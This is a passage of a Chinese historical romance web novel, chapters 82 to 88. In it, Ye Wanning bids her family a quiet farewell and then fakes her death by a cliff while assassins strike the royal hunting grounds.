江嬷嬷叹气道,“其实谢大人用情挺深的。” “再深也没用,天底下就没有男人能接受,心爱的女人怀了别的男人的孩子。”隆玉公主没问叶婉宁怎么回事,故而还以为叶婉宁怀的是周钰的孩子,“真让谢泊淮娶婉宁,你以为他会戴这顶绿帽子吗?” 江嬷嬷沉默了,她还真没见过有男人愿意的。 主仆俩开始给叶婉宁规划以后的日子,隆玉公主家财万贯,自然不会苦了叶婉宁,只是去哪里,如何安排,都需要费一些心思。 另一边,叶婉宁收拾好行囊,第二天拜别隆玉公主,回叶家了。 叶家看到叶婉宁回来,都很高兴,叶老夫人搂着叶婉宁不肯撒手,“祖母的乖乖,殿下怎么舍得放你回来了?” “我和义母说想你们了,她就让我回来住一段时间,毕竟叶府才是我的家。”叶婉宁感受着祖母身上的温暖,心里眷恋,“这次回家,我会多住一段时间。祖母最近气色不错,看来是休息好了。” 叶老夫人放宽心后,确实睡得好一点,“你二哥哥成了亲,你有了公主当靠山,现在眼看着婉玉的事快定下,我没什么好操心的。” “金家同意了?”叶婉宁去看两位嫂嫂。 姜姒说还没,“但金夫人主动约了咱家姑娘去见面,我带着婉玉和婉华过去后,金夫人态度还不错,我看着,金自观应该是说动他母亲了。” 说到这个,叶婉玉并没有感到害羞,而是大大方方说了,“金自观和我说,他母亲已经是同意了,他们家的情况他也直接说给我听,他家大哥是个有才干的,金家的门楣都会由他大哥去接替。至于金自观自己,他这辈子没什么大理想,更做不到出人头地,但有金家的家底在,也能让我一辈子衣食无忧。” 听到这里,成姨娘忍不住插嘴,“他这么没有上进心,婉玉你要不再挑挑,看看有没有更好的?” 在成姨娘看来,金家确实很不错,一开始她还很高兴,女儿能高嫁到金家,一定是她天天和佛祖祈祷来的。 结果得知金自观那么不上进,还说得理直气壮,成姨娘就不太满意了。她还是希望女儿能嫁好点,以后才能挺直腰板在京城做人。 “姨娘,就算我有心嫁高门当宗妇,你也要看看,我有没有那个本事?”叶婉玉很有自知之明,“我没有大嫂的好脾气,也没有二嫂的出身和家底,更做不到像大姐姐一样面面俱到,能在贵人圈子里长袖善舞。我从小就是个直率的性格,有时候嘴比脑子还要快,如果真嫁给一个厉害的夫君,我不觉得我能当好宗妇,打理偌大的家业。怕是有个不顺心的事,先和人争论起来,让人说道。” 这番话,说得成姨娘沉默了,因为叶婉玉确实是这么一个人。 只是人都很贪心,看到有好点的,就想着能不能再好一点。 听成姨娘叹气,叶婉玉也成长了,她放柔语气,“我知道姨娘是想我过得风光,但人各有命,我能遇到金自观这种合拍的,已经很难得。” 叶婉玉自己也喜欢玩,自幼有长姐在前面顶着,嫡母对她和三妹妹的要求并没有那么高。 她现在是看清楚了,什么家世,什么本领,都不是最重要的。人品和能不能合得来才最重要,不然真成了亲,也会慢慢生出嫌隙,最后同床异梦。 “罢了,你都这么说了,我还能怎么样?”成姨娘无奈接受,“只盼着你能如愿,我只想你能过好点,既然你觉得这样好,我不再多劝你了。” 叶家其他人也不反对这门婚事,他们都点了头,在叶婉宁回家的第二天,金夫人就带着媒婆,上门提亲了。 本来金自观不该上门,结果这小子就不个走寻常路的,偷偷爬了院墙,正好叶婉宁三姐妹在园子里喝茶,他笑盈盈地带着买来的绒花,献宝似地送给叶婉宁三姐妹,“这绒花是京城里刚时兴的,我花了好大的价钱,才找人买到。” 叶婉宁看了眼,这不是她铺子里卖的吗? 第83章 交代后事 叶婉宁心想,二哥哥这生意,现在是做得真不错。 “大姐姐,你们挑吧。”叶婉玉从来就不是扭捏的姑娘,看到金自观也不会害羞。 叶婉宁挑了蔷薇花的,这时金夫人身边的婆子来了,让金自观快回去。 “嬷嬷急什么,我本来就不是守规矩的人。”金自观不想走,却被嬷嬷拉着走。 “求求您了,您不怕,老奴还怕呢。马上就成亲了,有什么着急的?”嬷嬷只好上手拽人。 由于金自观的强烈要求,婚期定在了年底,本来叶家的意思是,叶婉宁的婚事还没定下,想着婚期订到明年年底,还有那么久的时间,总能把叶婉宁的婚事定下来。 现在叶婉玉定了亲,压力给到了姜姒他们,次日一早,姜姒就带着名帖到叶婉宁屋里,“这几位,都是我挑选过的,家世和人品各有不同,但也配得上咱们家。祖母说了,不能按着隆玉公主义女的身份给你找,还是得按照叶家门第来,这样你嫁过去会更好。” “二嫂,你们别替我忙活了。”叶婉宁道,“我已经没了嫁人的心思,可能人心散了,对什么都没劲。多谢你们费心。” 听叶婉宁这么说,姜姒是心疼的,“周钰已经是过去的事了,他如今过得不好,你应该放下才是。” “是我自己累了,来来去去都那样,没什么意思。”叶婉宁摇了摇头,转而说到自己给大嫂腹中孩子的礼物,“我平日没有事,就做了一些小玩意。这一份是给二嫂你的,等你未来有了孩子,你再给他。” “不着急,等我真有了孩子,你再做也不迟。”姜姒还没听出异常,以为叶婉宁是顺手做的,故而没有多想。 叶婉宁还是让姜姒带着衣服帽子回去,另一份则是让人送到林氏那里,林氏自然是欢喜的,她和叶婉宁相处多年,也很心疼叶婉宁。 这次回来,叶婉宁就是和家里人做个总结,家中的兄妹都记挂着她,她最放不下的就是他们。 日子就这样一天天过去,叶婉宁在家中过得恣意,毎日和姐妹玩耍逗乐,还会去祖母跟前伺候。 眼看着快到约定的日子,叶婉宁才去和祖母告别,家中所有人她都可以瞒着,唯独祖母不行。 祖母年岁大了,受不了刺激,她不说怀孕的事,只说她想离开京城。 叶婉宁让所有人都退出去,拉着祖母的手,话还没说出口,眼泪先掉下来。 “我就知道你有话找我说,从你归家起,我就觉得不对劲。你给每个人送了东西,看似平常的话,其实都在叮嘱以后的事。你还拒绝了你二嫂嫂的心意,想来是你有了其他打算?”叶老夫人握着孙女的手,她想了许多,直到今日,才算是得到印证。 “还是祖母了解我。”叶婉宁擦了擦眼泪,“我在殿下跟前的这段日子,看明白了很多道理。人这一辈子,太多的无奈和牵绊,以前我想着父亲母亲过世,大哥哥一人撑着叶家不容易,我得帮着大嫂嫂,不让大哥哥有后顾之忧。我想的、思虑的,全是叶家的人和事,早就忘记了我自己想要什么。” 她是叶婉宁,她也有自己的想法,不应该再为了旁人而活着。 这些年叶婉宁的付出,叶老夫人都看在眼里,“所以呢,你打算怎么做?” “作为殿下的义女,就算我去庄子里,也避不开朝堂上的那些事。与其如此,不如彻底消失,去过平平淡淡的日子。祖母,孙女知道是我不孝,不能陪伴您左右,但这一次,我想任性一点。”叶婉宁也想为自己考虑一次。 她想到了宁安郡主的身不由己,特别是宁安郡主硬撑着的时候,让她会想到自己也常常这样。 叶婉宁想做羲和郡主那样的人,喜欢就说喜欢,过随性的人生。 叶老夫人说知道了,她清楚自己孙女的为人,既然会来和她这么说,就是想了又想,才做的决定,“你这前半生,确实太辛苦了。婉宁啊,你别自责,反而是祖母没本事,不能让减轻你们的压力。去吧,你想干什么就去做,祖母不拦着你。” 叶婉宁扑到祖母怀中落泪,祖孙俩一直待到晚膳时,叶婉宁才离开。 和祖母交代过后,叶婉宁没了其他担心的事。 她派人去二房,让叶明岳明早过来一下,一晚上过去,她眼睛都是肿的。 不过叶明岳是男人,没那么心细,以为叶婉宁是问生意上的事,他还带着账本过来。 “最近铺子里的绒花生意不错,我把我的那份钱拿了出来,准备修缮下家中的庭院。”叶明岳道。 叶婉宁说也加上她的那份,叶明岳却不肯,“妹妹你的钱自己留着,往后等你出嫁,你越多钱,才越有底气。家里的事不用你花钱,有我在呢。现在大哥不管我,我爱怎么谈生意都可以,比之前要好了许多。” “二哥哥真厉害,果然我没看错人。”叶婉宁看了眼桌上的银票,随便翻看下账本,“今天找你过来,是想和你说些心里话。我马上又要回公主府了,家中还是得靠你和大哥哥。” 日子过得飞快,特别是快乐的时候,叶明岳耷拉下脸来,“不是刚回来吗,怎么又要走?” 叶婉宁笑了笑,“我已经回来半个多月了。大哥哥在朝堂为官,步步都很艰难,虽然你生意做得不错,最好别打着叶家的名号,还是低调一些好。不然光有钱,并不能长久,得扶持着大哥哥往上走,才能权钱都守住。” “我明白的,因为之前怕被人认出来,我都用化名,现在还是沿用化名。”叶明岳道。 “还有,如今你也成婚了,要明白姻亲之间的往来是很重要的。婉玉即将嫁到金家,咱们对金家,不必太热情,但该给的面子要给。如果太巴结金家,人家就会看轻我们。”叶婉宁把想到的事都交代了,“还有婉华的事,她一直是个胆小的性格,凡事都不要逼着她。女子这一生太不容易,不管以后分家如何,二哥哥多照看她一些。” 叶老夫人年岁大了,如今叶明岳成亲了,分家是迟早的事。 若是一直不分家,再好的兄弟姐妹,也会生出怨怼来。 大哥叶明德醉心官场,大嫂嫂肯定会很多应酬,难免照顾不到叶婉华。但叶明岳夫妇不一样,姜姒不需要当宗妇,身上的担子轻许多。 “你只是去公主府,怎么交代这么远的事?”叶明岳打趣道,“不知道的,还以为你要去多远的地方,不回来了呢。” 第84章 事在人为 窗外秋风萧瑟,卷起落叶,有片落在叶婉宁的桌前。 云芝听到那句不回来了,心头猛地发颤,她家姑娘,不就是回不来了吗? “二哥哥说笑了,我怎么会不回来呢?”叶婉宁低头抿茶,试图藏起眼中的那抹落寞。 “是啊,你我都在京城,只要你想回来,随时都能回来,我们也能去见你。”叶明岳笑呵呵地喝茶,“说起来,你最近在府里不知道外边的事,陆将军的女儿看上谢泊淮,但谢泊淮这人厉害的很,直接去陆家说不娶陆家女。结果陆将军亲自找谢泊淮打架,谢泊淮赢了后,陆将军是时不时缠着谢泊淮,让谢泊淮去从军。直到前些日子,陆将军带兵去了乌苏,这事才作罢。” 叶婉宁确实没听说这个事,近来想着家里的情况,从未打听过外边的事,“谢大人不曾跟着去吗?” “不曾,谢泊淮是镇府司的指挥使,他可是皇上最得力的助手,怎么可能让谢泊淮去乌苏。”叶明岳道。 听谢泊淮没有去乌苏,叶婉宁心里松了口气,前世谢泊淮就是死在去乌苏的途中。 看来很多事,都因为她而发生了改变。 这也是她能为谢泊淮做的,唯一的事了。 “行了,我还要去铺子里呢,这些银票你拿着,虽说公主府里什么都有,但咱们也不能差了钱。”叶明岳着急回去看铺子,匆匆走了。 叶婉宁收下银票,让云芝好好拿着。 过了两日,叶婉宁回了公主府。 她刚回来,就看到白家那几个跪在大殿中。 隆玉公主把玩着手中的珠串,“既然你们祖父想你们了,本宫不留你们了。一个个没意思得很,回去吧。” 看着白惠等人离开,叶婉宁才问,“义母怎么把人放走了?” “父皇赐婚,把宁安嫁给白家长孙,白术和朱氏连着上门要人,连父皇也派人来暗示,本宫就把人放了。”隆玉公主淡淡挑眉,“太子这一步,真是太心急了。他没谋求到带兵去乌苏的机会,便想方设法让宁安嫁到白家。” 叶婉宁微微皱眉,“宁安郡主愿意吗?” “皇家的人,哪里有什么愿不愿意,这都是命。”隆玉公主看着叶婉宁,感叹道,“是本宫硬把你拉进这是非场里,如今你要走,倒也是好事。不然那些王公贵族,哪一个不盯着你?” 赐婚是昨天才下的旨意,叶婉宁并不知情,但天家的事,确实让人无可奈何。 隆玉公主让叶婉宁好好休息,一切都安排好了。 又过了两日,围场的秋猎开始了,叶婉宁跟着隆玉公主一同前往。 她刚到围场,羲和郡主身边的人悄悄地过来,让叶婉宁过去一趟。 “你去吧,羲和被她母妃拘了起来,八成有一肚子话要和你说。”隆玉公主自个儿去见了皇上。 等叶婉宁刚到羲和郡主的营帐,羲和郡主哭着扑了过来,“婉宁姐姐,你可算来了,母妃不讲理,非要把我关着,今天都不让我出去玩。” “为何?” “还不是因为宁安的事。”羲和郡主愤愤不平,“宁安就不想嫁到白家,是她父亲非要她嫁的。我想去找皇爷爷说理,但母妃不让,她还凶我!” 叶婉宁问,“你见过宁安郡主了吗?” “见过了,赐婚的旨意刚下来,我就去找她了。你是没看见,她平常多得瑟的一个人,昨天都笑不出来。”羲和郡主刚说完,就有丫鬟来传话,说宁安郡主来了。 门被推开,宁安郡主笑盈盈地进来,“端王妃说你在生气,我想着你这丫头又不懂在想什么,特意来看看你。” “我哪里是想什么,还不是为了你被骂?你怎么还笑得出来?”羲和郡主两手叉腰。 “为了我?” “对啊,我看你不愿意赐婚,想去想皇爷爷撤回旨意,但是被我母妃骂了好一顿。”羲和郡主歪着头,“我可不是想帮你,就是看你我都是郡主,这是为了我自己以后争取呢。” 还在笑的宁安郡主,听到这话,笑容突然顿住,但她不是羲和郡主,她的喜怒向来都藏在心里,她突然抱住羲和郡主,“好啦好啦,我知道你是关心我。但我是郡主,我的婚事本就由不得我,嫁到白家,倒也不算差。” 她努力了,也争取过,但还是拼不过父亲对权势的欲望。 “哎呀,你别抱我。”话虽这么说,羲和郡主却没推开宁安郡主,“死鸭子嘴硬,你在我面前逞强什么?” 宁安郡主勾了勾羲和郡主的鼻子,再坐下去看叶婉宁,“婉宁姐姐好像瘦了?” 叶婉宁说是的,“归家后贪玩,所以瘦了一些。恭喜郡主了。” 宁安郡主愣了下,“我以为你会和羲和一样,没想到你会说恭喜。” “不管事情如何,总有破局的地方。既然郡主还能和我们说笑,说明你心中是有把握的。”叶婉宁道,“事在人为,不是吗?” 这会,宁安郡主是真的愣住,“难怪端王妃喜欢你,你果然聪明。” “你们在说什么,不能直接一点吗?”羲和郡主一点也听不懂,她看看宁安,又看看叶婉宁,“婉宁姐姐,宁安有什么打算,你和我说说?” 叶婉宁笑了,“郡主的心思,我猜不到呢。我只是说,事在人为,要相信我命由我不由天。” “这倒是,我的婚事肯定得由我说了算,不是我心悦的男子我,我一定不嫁!”羲和郡主说完,要出去打猎,“我可不能输给哥哥他们,你们也和我一起?” 叶婉宁摇摇头,义母对她,另有安排。 第85章 你喜欢她吗 羲和郡主迫不及待地去找兄长们,今天难得出来,指不定回家后又要被关着,她得玩个尽兴才对。 看着羲和郡主走了,叶婉宁才发现宁安郡主看着自己,两个人一起缓缓走出营帐。 宁安郡主几次想开口,最终把话给咽了回去,最后坐了下来才道,“有的时候,我真的挺羡慕羲和的。” “是啊,端王夫妇对羲和郡主,是真的很好。”叶婉宁跟着感叹。 “其实你也不错,姑母也是好的。”宁安郡主的眼中闪过一抹羡慕,她刚说完,就有位白衣公子走了过来,眼中闪过一抹微不可见的厌恶。 白旭是京中的白衣公子,只因为小时候有人说他姓白,又皮肤白,从那以后只穿白衣服,就为了让人夸他白衣翩翩。 “郡主,我备了马,你要不要与我同游?”白旭便是宁安郡主的未婚夫,两人订了婚,现在是可以走近一点,不用怕人说三道四。 叶婉宁悄悄地打量着白旭,这人瘦得很,又长得很白,但一点起色都没有,看着像纸做的假人,随便地画上眼睛和嘴巴。 不由地,叶婉宁替宁安郡主感到可惜,这么心思玲珑的一个人,却要嫁给白旭,真是可惜了。 白旭当着这么多人邀请,且赐婚的旨意大家都知道,宁安郡主没有拒绝的理由,只能点头答应。 “婉宁姐姐呢,你坐在这里会不会无趣?”宁安郡主起身时看向叶婉宁。 叶婉宁一开始以为宁安郡主和她求救,但又听宁安郡主道,“如果觉得没意思,你可以去找羲和,她是个会玩的,肯定能让你开心。” 说完,宁安郡主就和白旭走了。 云芝过来倒茶,小声道,“姑娘,殿下在找您。” 叶婉宁起身跟着丫鬟去找义母,结果路上遇到了巡查的谢泊淮,两人迎面碰上,还没等叶婉宁问好,便看到一女子气鼓鼓地冲向谢泊淮。 “谢泊淮,我到底哪里不好,你怎么就看不上我?”陆金玉一只手叉腰,一只手指着谢泊淮,要说京城里的姑娘,谁最彪悍,非她莫属。 谢泊淮微微皱眉,“陆姑娘,不喜欢就是不喜欢。” “那你说,我哪里不好了?”陆金玉拦着谢泊淮不让走,“是我不够漂亮,还是你喜欢温柔的?像她这样的吗?” 陆金玉左右看了看,正好叶婉宁在附近,不由分说地把叶婉宁拉过来,“你说,你是不是喜欢这种漂亮温柔的?” 叶婉宁没想到自己会被卷进来,为难地想挣脱开陆金玉,却被陆金玉紧紧拽住,“陆姑娘,你们的事与我无关啊。” “对不住了这位姐姐,我不是有意要得罪你,我就是借你打个比方。”陆金玉并不长在京城,是为了嫁人,她母亲才带着她到京城里,故而不认识叶婉宁,“不过你长得真美,是我见过最美的姑娘。你别怕,我现在对不住你,以后我会帮你的!” 说着,陆金玉又去看谢泊淮,“你快说,你是不是喜欢这种娇滴滴的大小姐?” 谢泊淮的目光没落到叶婉宁身上,直直地看着前方,“没有。” “那你喜欢什么样的?”陆金玉长在军营里,性格彪悍,她今天非要问出个结果来,“你快说啊!还是说你堂堂镇府司指挥使,连个喜欢的人都不敢说是谁?” 谢泊淮皱着眉,他要离开,却被陆金玉拦着。 陆金玉是练过武的,一时半会,谢泊淮还摆脱不了陆金玉。 “陆姑娘,总而言之我不喜欢你这种粗俗的。”谢泊淮趁着陆金玉愣住的瞬间,转身逃脱。 等陆金玉反应过来时,谢泊淮已经走远了,她哇哇哭了两声,突然抱住叶婉宁,“呜呜,谢泊淮这个王八蛋,竟然说我粗俗。我要是能温柔,我还叫陆金玉吗?呜呜,姐姐你香啊。” 叶婉宁:……要不要那么快转移话题? “哼,其实谢泊淮也没什么好的,冷脸臭嘴,我才不要喜欢他!”陆金玉刚到京城,就参加七皇子的婚宴,在婚宴上,她一眼看中谢泊淮。原因不是别的,就是谢泊淮长得俊,人群里最高最俊的就是谢泊淮,“但是他真的长得好好,你是京城里的人吧,你知道京城还有比他更好看的男子吗?” “陆姑娘,我们不好议论男子长相的。看人得看品行,模样端正就好。”叶婉宁道。 陆金玉摇摇头,“你果然是京城大户人家养出来的娇小姐,我并不看重其他的,只要长得好就行。如果我夫君对我不好,我就打到他服气,我母亲就是这么教我的。不管什么样的男人,到了我们手里,就要乖乖听话。在外边给他们点面子,回到家里好好收拾。” 叶婉宁还是头一回听到这种说法,不得不说,武将世家的姑娘,果然彪悍。 想到义母还在等自己,叶婉宁只能说还有事。 “那我不打扰姐姐了,姐姐姓甚名谁,我看姐姐好生漂亮,等我有空了,一定去找你玩。”陆金玉笑盈盈地看着叶婉宁,其实她自己也长得不错,有两个梨涡,笑起来很明媚的小姑娘。 叶婉宁报上姓名,心想和陆金玉这种性格,和羲和郡主应该会很合得来。 可惜了,他们以后见不到了,不然她也挺喜欢陆金玉的性格。 和陆金玉分开后,叶婉宁去见了义母,“路上遇到陆姑娘,多说了一会儿话,所以来迟了。” “是陆丰年的女儿吗?”隆玉公主问。 “是的。” “还真是她啊,你一定觉得她很不一样吧?”隆玉公主在喝茶,看叶婉宁点头,笑着道,“陆夫人是番邦的人,不是我们中原内陆的,故而教养的女儿不太一样。当年陆丰年为了娶这个夫人,费了不少力气。本宫以前见过陆金玉一次,还挺喜欢的,她应该和羲和很合得来。” “我也是这么觉得。”叶婉宁道。 说到这里,隆玉公主让其他人退下,只留下江嬷嬷和云芝。 江嬷嬷拿来一个盒子,里面都是银票。 “世上所有的东西都能用银子买,本宫思来想去,给你任何宝物都不方便带着,倒不如这些银票来得好。”隆玉公主道。 第86章 混乱 银票一共有五万两,隆玉公主把府里能带来的银票都带来了,“你们俩,一人身上带一点,剩下的,我会让侍卫带着。等你南下后,本宫就不联系你们了,免得被人查到。” 叶婉宁眼眶湿了,“义母,我……” “不必说那么多,本宫心里明白。”隆玉公主的脸上是少有的慈爱,“人生在世,不求长长久久,能陪同一段路便是好的。这些日子,你是不是真心,本宫都看在眼里,本宫替你安排这些,都是本宫应该做的。” “我还是得谢谢您。”叶婉宁跪下磕头,“如果没有您,我一定不敢放开了去做自己。” 江嬷嬷含着泪扶起叶婉宁,“姑娘快起来吧,您得注意身子。以后得照顾好自己,千万注意身体,什么事都别想太多,日子快活最重要。实在有解决不了的事,您记住殿下给的玉佩,只要拿出它,按照殿下说的地方找去,殿下就能知道了。” 叶婉宁点头说好,她擦了眼泪。 隆玉公主没有给叶婉宁安排去处,而是护送叶婉宁到一个地方,后面叶婉宁要怎么远,都听叶婉宁自己的想法。 不然只要隆玉公主有插手,难免会让人查到。 整理好仪态,叶婉宁和隆玉公主重新出现在大众视野,隆玉公主要了弓箭,带着叶婉宁出去打猎。 围场很大,进了林子后,四周看不到人。 但隆玉公主带了侍卫,他们往目标地方走去,结果进入丛林深处,突然有一支箭从隆玉公主的脸颊擦过。 若不是侍卫及时,隆玉公主已经被第二支箭射穿喉咙。 “有刺客!”江嬷嬷大声道。 叶婉宁紧张地去看隆玉公主,结果隆玉公主让她快跑,“不是本宫安排的。” 是有人真的想让隆玉公主死! 但对方不敢露面,一旦出现,就会被发现,可能暴露身份。 隆玉公主道,“他们是冲着本宫来的,你快跑,咱们分开行动!” 叶婉宁带着云芝,还有两个侍卫往北跑,隆玉公主则是往南回围场。 这群刺客看他们分开,冲出了树林,但一个个都蒙着脸,看来这次他们是非要隆玉公主死。 有几个来追叶婉宁,听着羽箭射中身边的树木,一声又一声,叶婉宁的心提到了嗓子眼。 与此同时,宁安郡主和白旭也遇到了刺客。 看着倒在血泊中的白旭,宁安郡主大声呼救,“快来人啊,有刺客!” 她的侍卫正在拦着刺客,白旭身上中了两箭,其中一支射穿他的胸膛,宁安郡主自己的胳膊也中了箭。 白旭看着眼前的人,想伸手摸摸宁安郡主的脸,却没有太多力气,“郡主,我……” 怎么会这样? 他明明要娶到千娇百宠的郡主,等太子上位,宁安郡主就是公主,到时候他成了驸马爷,整个白家都要仰仗他的鼻息而活。 可赐婚的旨意才刚下,怎么就要死了? 白旭不甘心,非常的不甘心。 想到即将到来的荣华富贵,要在这一刻化成灰烬,白旭死死地瞪大眼睛。 而宁安郡主虽然在哭喊,但其实她的眼中并没有悲伤,白旭要死了,真的要死了,她的脑中只有这个想法。 最先赶到的是谢泊淮,他带着镇府司的人几下就解决了刺客,却没留下活口。 “谢大人,你快帮我看看白旭!”宁安郡主挤出一滴眼泪。 谢泊淮确认白旭已经死了,但还是让人快点把白旭抬回去,“我们走!” 他记得,叶婉宁和隆玉公主也进了树林,这会林子里的人都有危险! 谢泊淮带着青山骑马进树林,很快遇到了同样被刺杀的端王,他不得不停下。 “有刺客要刺杀本王!”端王阴沉着一张脸,“谢泊淮,这就是你办的事,若今日是父王在狩猎,你该如何?” 端王到底年轻一些,还能跑,如果是皇上,八成要交代在这里。 谢泊淮确认端王没有事,头也不回地冲进林子里,他得去找叶婉宁和隆玉公主! 这时的宁安郡主一行,已经被带回围场,太医给白旭看了看,无奈地摇头,“郡主节哀,白公子已经没了气息。” 宁安郡主两眼一黑,晕死了过去,她身上都是血,吓得太子妃赶忙让人抬走宁安郡主。 被喊回来的羲和郡主看到这一幕,脸都吓白了,“怎么会这样?” 得知叶婉宁还在树林中,羲和郡主着急想进去找人,却被她哥哥拦下,“你去了能干什么?你好好待在父王和母妃身边,我带人去救叶姑娘和姑母。” 李茂二话不说带着人走了,李隽则是傻愣在原地问怎么办才好。 等白术和朱氏看到白旭的尸体时,两人都嚎啕大哭,白术哭到了皇上面前,“皇上一定要为老臣做主啊,老臣苦心培养的孙儿,竟然就这么去了,到底是什么人那么大胆,竟然敢在围场行刺?” 死了世家的公子,还是郡主的未婚夫,而且还有情况不确定的,皇上当场摔了杯盏,“谢泊淮呢,他人在哪里?” 内侍道,“回皇上,谢大人已经带人去追隆玉公主了!” “隆玉还在树林里?”得到肯定的答复,皇上用力拍桌,“御林军是干什么吃的,竟然会让刺客出现在围场,都去给朕查,一定要查到是什么人干的!” 皇上一口气提不上来,扶着木桌疯狂咳嗽,竟然咳出一口老血。 太子见此,赶忙让太医来替皇上诊治。 一时间,人心惶惶,谁都不敢出营帐,就怕遇到刺客。 而此时的谢泊淮已经遇到了隆玉公主,虽然隆玉公主跑丢了发簪,头发全部散了,但好在谢泊淮来得及时,不然她差点就丢了性命。 “谢……谢泊淮,你快……快去!”隆玉公主指着身后的方向,“你快去救婉宁!” 她没有安排刺客,只是安排了野兽,有人要杀她,必然不会放过叶婉宁。 听隆玉公主这么说,谢泊淮想也没想,勒紧缰绳,飞驰而去。 第87章 跳崖死遁 “姑娘,您往东南方向跑,一定不要回头,那里有殿下准备好的人接应。”侍卫让叶婉宁先跑,他留下断后。 事已至此,叶婉宁连回头都不敢,右脚的鞋子不知道什么时候跑掉了,脚踩在石子上,已经磨破脚底。 疼痛让她更加清醒,片刻都不敢停下。 “杀了她!主子交代了,叶婉宁和隆玉公主一个都不能留!” 有人高呼一声,但叶婉宁的侍卫只剩下一个,对方却有三个人。 眼看着有个刺客快要追上来,云芝拔出匕首,叶婉宁看出她的意思,也拔出匕首。 “姑娘您快走!”云芝去推主子。 叶婉宁却道,“若是剩下我一个,人生有什么意思?” 她和云芝一块长大,这么些年,她同样把云芝看成身边不可缺少的人。如果没有云芝,她这辈子都会活在懊悔和愧疚中。 匕首是用来防身的,没想到真能用到,只是叶婉宁和云芝都不会武,叶婉宁只能借助一些计谋。 “谢大人,你来了!”叶婉宁突然大喊一声,连云芝都看过去,刺客也是。 在刺客转头的瞬间,叶婉宁举着匕首挥过去,虽然没伤到刺客要害,但割破刺客的手臂,打掉他的武器。 “云芝,快!”叶婉宁又喊了一句,云芝反应过来,趁着刺客要去抓叶婉宁时,匕首狠狠刺进刺客的胳膊里。 只听一声惨叫,刺客松开了叶婉宁,但他好歹训练过,还想去捡地上的剑,只是这个时候,叶婉宁的侍卫斩杀了另外两名刺客,反身攻了过来,让刺客一命呜呼。 “姑娘,我们快走!”现在不可能再回去,谁也不清楚身后是什么情况,倒不如也趁这个机会走了。侍卫带着叶婉宁一路狂奔到约定的断崖。 叶婉宁用树枝划破裙摆,看着底下的滔滔江水,她跟着侍卫绕开断崖,往下走。 接应的人看到他们后,还没问怎么回事,侍卫让他先别说话,“你快带着姑娘走,什么都不想问,一定要快!” 等叶婉宁主仆走后,侍卫再回去消除痕迹,再背来刺客尸体到悬崖边上,制造出打斗的痕迹。 等做得差不多了,他再丢下自己的佩剑,跳下断崖。 活口是不能落到镇府司手里的,镇府司就没有撬不开的嘴,侍卫懂水性,他但他受了伤,等他再上岸时,已经不知道过去多久。就算他回去,也能解释得通,身受重伤,不能及时回来,身边又没人。 并且,隆玉公主准备了和叶婉宁身形相似的女尸,穿了一样的衣裳泡在下游,藏在隐蔽的沟石中,等尸体被找到时,已经被泡得看不出样子了,只能通过衣服辨认。 这一步步,都是隆玉公主安排好的,毕竟谢泊淮那么一个心思缜密的人,想要糊弄他,并不容易。 这次的刺客,正好给了个圆满的解释,不然只是野兽惊吓,中途很多事不可控。 而谢泊淮一路追到断崖,看到一名刺客的尸体,还有断崖边上女子的鞋子,他握着佩剑的手背暴起青筋,“给我找,一定要把人找到!” 有人说了句,“大人,按照这个情形,叶姑娘怕是跳下断崖,以保……”他还没说完,谢泊淮的剑就放在他的脖子上。 “我让你们找人,不是让你们废话!”谢泊淮眼神阴鸷,所有人立马四散开找人,却没有任何踪迹。 很明显,叶婉宁是跳崖了。 听到青山等人说没找到时,谢泊淮毫不犹豫地跳下断崖。 “大人!” “三爷!” 青山看主子跳下去,他也要跟着跳,但被其他人给拉住了,他着急地道,“你们两个去和皇上回话,就说大人带着我们在找叶姑娘和清扫战场,剩下的跟我走!” 青山心想这下完了,主子怎么就跳下去了? 他知道主子做事疯,可这个时候,哪里能那么任性? 他这个脑子都能想到的事,主子怎么就想不到呢? 青山火急火燎地带着人找下断崖的路,而围场那里,等皇上知道叶婉宁被逼跳崖时,第一反应是去看隆玉公主。 隆玉公主被带回来时,胳膊和手都受了伤,她跪在地上和皇上磕头,“求父皇让女儿死个明白,自从女儿回京城后,一直有人暗中诋毁,如今却要女儿的性命。女儿为了两国和平,忍辱负重多年,怎么就换来这么个结果?” 皇上听了勃然大怒,特别是看到隆玉公主头发散乱,满手是血的样子,更是愧疚不已。 故而皇上一直在隆玉公主的营帐里,等太医给隆玉公主包扎诊治。 这会听到叶婉宁被逼跳崖,凶多吉少,皇上并不在意叶婉宁是死是活,可叶婉宁是隆玉公主的义女,隆玉公主无儿无女,就认了这么个义女,他怕隆玉公主接受不了。 果然,听到这话的隆玉公主放声大哭,“我的婉宁啊,你怎么那么苦命?是我牵连了你,你要是有个三长两短,让我怎么面对你哥哥祖母?” 隆玉公主哭到哽咽,皇上听得更加难受,这时又有内侍进来,说端王也遇到行刺。 “什么?”皇上这下更坐不住了,他本就吐了血,好不容易有了点精神,内侍赶忙过来替他顺气。 “皇上别激动,端王爷没有大碍,那些刺客都被谢大人斩杀了。”传话的内侍满头是汗,一路跑着来的。 “一定要查!查个清清楚楚,明明白白,朕倒要看看,到底是谁那么大的胆子?”皇上扶着内侍起身,“隆玉你好好休息,你放心,朕一定会给你一个交代。朕就不信了,谁有那么大的本事,竟然敢在围场行刺?” 皇上留下这句话,便带着人走了。 江嬷嬷刚要开口,隆玉公主就和她摇头,隔墙有耳,现在不管是谁身边,肯定都有人盯着。 既然事情已经发生,就借着这个机会,让叶婉宁脱身离开。 这时又有人进来传话,说太子等人也遇到了刺客。 隆玉公主嘲讽地哼了一声,看来今天有心思的人很多,一个个都不安分得很! 第88章 皇子群像 就是建朝起的这一百多年来,还没在围场出现过那么多刺客,是一个人派的,还是两个三个? 皇上目前不知道,他让人去找谢泊淮,他现在最需要谢泊淮来办事。 至于其他所有人,都不许离开围场,现在的围场,只进不出! 大帐里,太子刚包扎完,正在训斥巡逻的御林军,“你们是干什么吃的,还好父皇没去打猎,如果父皇有个好歹,你们怎么交代?” “朕有个好歹,你们不是更高兴吗?”皇上沉着脸进来,看着一个个跪在地上的儿子、孙子,他慢慢地审视过去,每一个都认认真真地打量了。 直到皇上坐下,都没让他们起来。 皇上心里清楚,能有那么大本事的,一定是他的某个好儿子。 至于是哪个,还有待考论。 “朕是年纪大了,但朕还没老糊涂,你们有什么心眼,朕都一清二楚。朕还没病入膏肓,一个个就想坐朕的位置,是不是太着急了一点?”皇上丢了桌上的砚台,“老四,你今天怎么不去打猎?你不是最喜欢这些的吗?” 被点到的惠王,肩膀抖成筛子,用力磕头,“回父王,儿子今日腹痛,是请过太医的,太医可以为儿子作证,并不是儿子不敢去啊!” 